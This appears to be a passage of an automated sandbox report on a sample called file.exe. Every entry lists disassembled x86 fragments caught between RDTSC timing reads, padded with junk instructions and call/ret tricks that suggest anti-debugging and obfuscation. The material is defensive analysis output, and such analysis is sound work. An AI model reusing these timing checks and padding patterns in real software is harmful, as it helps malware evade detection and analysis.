Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF884E second address: EF8878 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A4CCE8437h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F4A4CCE842Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF9209 second address: EF9212 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF9212 second address: EF92C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A4CCE842Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c jo 00007F4A4CCE8430h 0x00000012 jmp 00007F4A4CCE842Ah 0x00000017 popad 0x00000018 nop 0x00000019 ja 00007F4A4CCE8432h 0x0000001f push 00000000h 0x00000021 push 00000000h 0x00000023 push edx 0x00000024 call 00007F4A4CCE8428h 0x00000029 pop edx 0x0000002a mov dword ptr [esp+04h], edx 0x0000002e add dword ptr [esp+04h], 0000001Ch 0x00000036 inc edx 0x00000037 push edx 0x00000038 ret 0x00000039 pop edx 0x0000003a ret 0x0000003b movsx edi, cx 0x0000003e or dword ptr [ebp+122D3025h], edi 0x00000044 push 00000000h 0x00000046 push 00000000h 0x00000048 push edx 0x00000049 call 00007F4A4CCE8428h 0x0000004e pop edx 0x0000004f mov dword ptr [esp+04h], edx 0x00000053 add dword ptr [esp+04h], 0000001Bh 0x0000005b inc edx 0x0000005c push edx 0x0000005d ret 0x0000005e pop edx 0x0000005f ret 0x00000060 mov dword ptr [ebp+122D25B8h], edi 0x00000066 push eax 0x00000067 push eax 0x00000068 push edx 0x00000069 pushad 0x0000006a push ecx 0x0000006b pop ecx 0x0000006c jmp 00007F4A4CCE8433h 0x00000071 popad 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFA3EE second address: EFA3F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF9AEC second address: EF9AFA instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4A4CCE8426h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFAE62 second address: EFAE79 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A4CE02A33h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFAE79 second address: EFAEE4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A4CCE8431h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov dword ptr [ebp+122D21F0h], edx 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 call 00007F4A4CCE8428h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], ecx 0x00000021 add dword ptr [esp+04h], 00000016h 0x00000029 inc ecx 0x0000002a push ecx 0x0000002b ret 0x0000002c pop ecx 0x0000002d ret 0x0000002e push 00000000h 0x00000030 jmp 00007F4A4CCE842Bh 0x00000035 xchg eax, ebx 0x00000036 jnl 00007F4A4CCE843Ah 0x0000003c push eax 0x0000003d pushad 0x0000003e push ecx 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFAEE4 second address: EFAEED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFB963 second address: EFB968 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFC344 second address: EFC370 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4A4CE02A35h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4A4CE02A30h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFCEA4 second address: EFCEA9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFD101 second address: EFD12A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007F4A4CE02A36h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f pushad 0x00000010 js 00007F4A4CE02A26h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFD12A second address: EFD18F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ebx 0x00000009 popad 0x0000000a nop 0x0000000b mov esi, 4C0D7FA6h 0x00000010 mov dword ptr [ebp+122D3025h], esi 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push edi 0x0000001b call 00007F4A4CCE8428h 0x00000020 pop edi 0x00000021 mov dword ptr [esp+04h], edi 0x00000025 add dword ptr [esp+04h], 0000001Ch 0x0000002d inc edi 0x0000002e push edi 0x0000002f ret 0x00000030 pop edi 0x00000031 ret 0x00000032 push ebx 0x00000033 sub edi, 5AE76982h 0x00000039 pop esi 0x0000003a push 00000000h 0x0000003c pushad 0x0000003d and ch, FFFFFFA7h 0x00000040 popad 0x00000041 push eax 0x00000042 pushad 0x00000043 jmp 00007F4A4CCE8433h 0x00000048 pushad 0x00000049 push eax 0x0000004a pop eax 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFDBFD second address: EFDC02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFD970 second address: EFD982 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4A4CCE842Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFDC02 second address: EFDC8C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A4CE02A31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007F4A4CE02A28h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push eax 0x0000002b call 00007F4A4CE02A28h 0x00000030 pop eax 0x00000031 mov dword ptr [esp+04h], eax 0x00000035 add dword ptr [esp+04h], 00000014h 0x0000003d inc eax 0x0000003e push eax 0x0000003f ret 0x00000040 pop eax 0x00000041 ret 0x00000042 push 00000000h 0x00000044 push 00000000h 0x00000046 push eax 0x00000047 call 00007F4A4CE02A28h 0x0000004c pop eax 0x0000004d mov dword ptr [esp+04h], eax 0x00000051 add dword ptr [esp+04h], 0000001Ch 0x00000059 inc eax 0x0000005a push eax 0x0000005b ret 0x0000005c pop eax 0x0000005d ret 0x0000005e xchg eax, ebx 0x0000005f push eax 0x00000060 push edx 0x00000061 je 00007F4A4CE02A28h 0x00000067 push edi 0x00000068 pop edi 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0210A second address: F02110 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F02110 second address: F0218F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A4CE02A2Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007F4A4CE02A28h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 0000001Ch 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 sub dword ptr [ebp+122D3158h], esi 0x0000002e mov bx, 4926h 0x00000032 push 00000000h 0x00000034 mov dword ptr [ebp+122D34F2h], esi 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push eax 0x0000003f call 00007F4A4CE02A28h 0x00000044 pop eax 0x00000045 mov dword ptr [esp+04h], eax 0x00000049 add dword ptr [esp+04h], 0000001Ch 0x00000051 inc eax 0x00000052 push eax 0x00000053 ret 0x00000054 pop eax 0x00000055 ret 0x00000056 mov bl, 07h 0x00000058 push eax 0x00000059 push eax 0x0000005a push edx 0x0000005b ja 00007F4A4CE02A28h 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F02F4C second address: F02F50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F02322 second address: F02326 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F03FA4 second address: F03FAA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F04F34 second address: F04F3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F06E7A second address: F06E7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F06070 second address: F06074 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F07CDD second address: F07CF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4A4CCE8431h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F07081 second address: F07085 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F08C43 second address: F08C97 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A4CCE8437h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007F4A4CCE8428h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 0000001Ah 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 or bh, FFFFFF95h 0x00000029 push 00000000h 0x0000002b mov edi, dword ptr [ebp+122D1A32h] 0x00000031 push 00000000h 0x00000033 cld 0x00000034 push eax 0x00000035 push eax 0x00000036 push edx 0x00000037 push ebx 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F08C97 second address: F08C9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F07EEA second address: F07EEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F08E54 second address: F08E58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F08E58 second address: F08E68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A4CCE842Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0DD66 second address: F0DD79 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4A4CE02A28h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e push esi 0x0000000f pop esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0DD79 second address: F0DD83 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F4A4CCE842Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0AE71 second address: F0AE77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0FE44 second address: F0FE61 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A4CCE8439h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0FE61 second address: F0FE74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jo 00007F4A4CE02A26h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push ecx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0FE74 second address: F0FE7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0CE3B second address: F0CEE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jmp 00007F4A4CE02A38h 0x0000000b nop 0x0000000c xor dword ptr [ebp+122D35F1h], esi 0x00000012 push dword ptr fs:[00000000h] 0x00000019 or dword ptr [ebp+122D198Ah], edx 0x0000001f mov dword ptr fs:[00000000h], esp 0x00000026 pushad 0x00000027 jmp 00007F4A4CE02A2Bh 0x0000002c call 00007F4A4CE02A2Eh 0x00000031 mov ecx, dword ptr [ebp+122D3858h] 0x00000037 pop ecx 0x00000038 popad 0x00000039 movsx edi, dx 0x0000003c mov eax, dword ptr [ebp+122D05B9h] 0x00000042 jnc 00007F4A4CE02A2Bh 0x00000048 push FFFFFFFFh 0x0000004a push 00000000h 0x0000004c push ecx 0x0000004d call 00007F4A4CE02A28h 0x00000052 pop ecx 0x00000053 mov dword ptr [esp+04h], ecx 0x00000057 add dword ptr [esp+04h], 0000001Dh 0x0000005f inc ecx 0x00000060 push ecx 0x00000061 ret 0x00000062 pop ecx 0x00000063 ret 0x00000064 xor di, E7D1h 0x00000069 push eax 0x0000006a js 00007F4A4CE02A34h 0x00000070 push eax 0x00000071 push edx 0x00000072 push eax 0x00000073 push edx 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0CEE1 second address: F0CEE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0FE7A second address: F0FEC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 nop 0x00000007 jbe 00007F4A4CE02A26h 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007F4A4CE02A28h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 0000001Ch 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 or bx, E18Eh 0x0000002e push 00000000h 0x00000030 mov dword ptr [ebp+122D2533h], ecx 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F09F00 second address: F09F0E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F4A4CCE8426h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F09F0E second address: F09F73 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F4A4CE02A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c movzx edi, di 0x0000000f push dword ptr fs:[00000000h] 0x00000016 mov dword ptr fs:[00000000h], esp 0x0000001d push 00000000h 0x0000001f push ebp 0x00000020 call 00007F4A4CE02A28h 0x00000025 pop ebp 0x00000026 mov dword ptr [esp+04h], ebp 0x0000002a add dword ptr [esp+04h], 0000001Ch 0x00000032 inc ebp 0x00000033 push ebp 0x00000034 ret 0x00000035 pop ebp 0x00000036 ret 0x00000037 mov bx, 340Fh 0x0000003b mov eax, dword ptr [ebp+122D103Dh] 0x00000041 mov bx, 877Ah 0x00000045 push FFFFFFFFh 0x00000047 jmp 00007F4A4CE02A2Ch 0x0000004c nop 0x0000004d push eax 0x0000004e push edx 0x0000004f pushad 0x00000050 push ecx 0x00000051 pop ecx 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F09F73 second address: F09F78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F09F78 second address: F09F7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F11008 second address: F11013 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F09F7E second address: F09F8D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F09F8D second address: F09F91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F09F91 second address: F09F9B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F4A4CE02A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F10051 second address: F10057 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F19786 second address: F197A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A4CE02A37h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F197A1 second address: F197D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 jbe 00007F4A4CCE8426h 0x0000000f jmp 00007F4A4CCE842Dh 0x00000014 jmp 00007F4A4CCE8435h 0x00000019 popad 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1919A second address: F1919E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1919E second address: F191A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1EAC8 second address: F1EAD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4A4CE02A2Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1EAD9 second address: F1EADD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1EADD second address: F1EB0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F4A4CE02A2Ah 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jmp 00007F4A4CE02A32h 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1EB0C second address: F1EB3E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4A4CCE8436h 0x00000008 js 00007F4A4CCE8426h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov eax, dword ptr [eax] 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F4A4CCE842Ch 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1EC3B second address: F1EC40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F273AB second address: F273C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A4CCE842Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a js 00007F4A4CCE8426h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2665D second address: F2666C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F4A4CE02A26h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2666C second address: F26670 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2679C second address: F267AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pushad 0x00000008 ja 00007F4A4CE02A26h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F267AC second address: F267BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop eax 0x00000008 js 00007F4A4CCE8436h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F267BE second address: F267C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2694E second address: F26953 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F26953 second address: F2695A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F26D64 second address: F26D84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4A4CCE8433h 0x00000009 pushad 0x0000000a popad 0x0000000b push esi 0x0000000c pop esi 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F26D84 second address: F26D8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F4A4CE02A26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F26D8E second address: F26DAF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A4CCE8437h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F27082 second address: F27088 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F27088 second address: F2708C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2708C second address: F2709C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007F4A4CE02A26h 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2709C second address: F270A6 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4A4CCE8426h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F270A6 second address: F270CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4A4CE02A32h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jne 00007F4A4CE02A26h 0x00000016 push edx 0x00000017 pop edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F270CB second address: F270D5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F270D5 second address: F270DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F270DC second address: F270F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F4A4CCE8426h 0x0000000a popad 0x0000000b push eax 0x0000000c jg 00007F4A4CCE8426h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
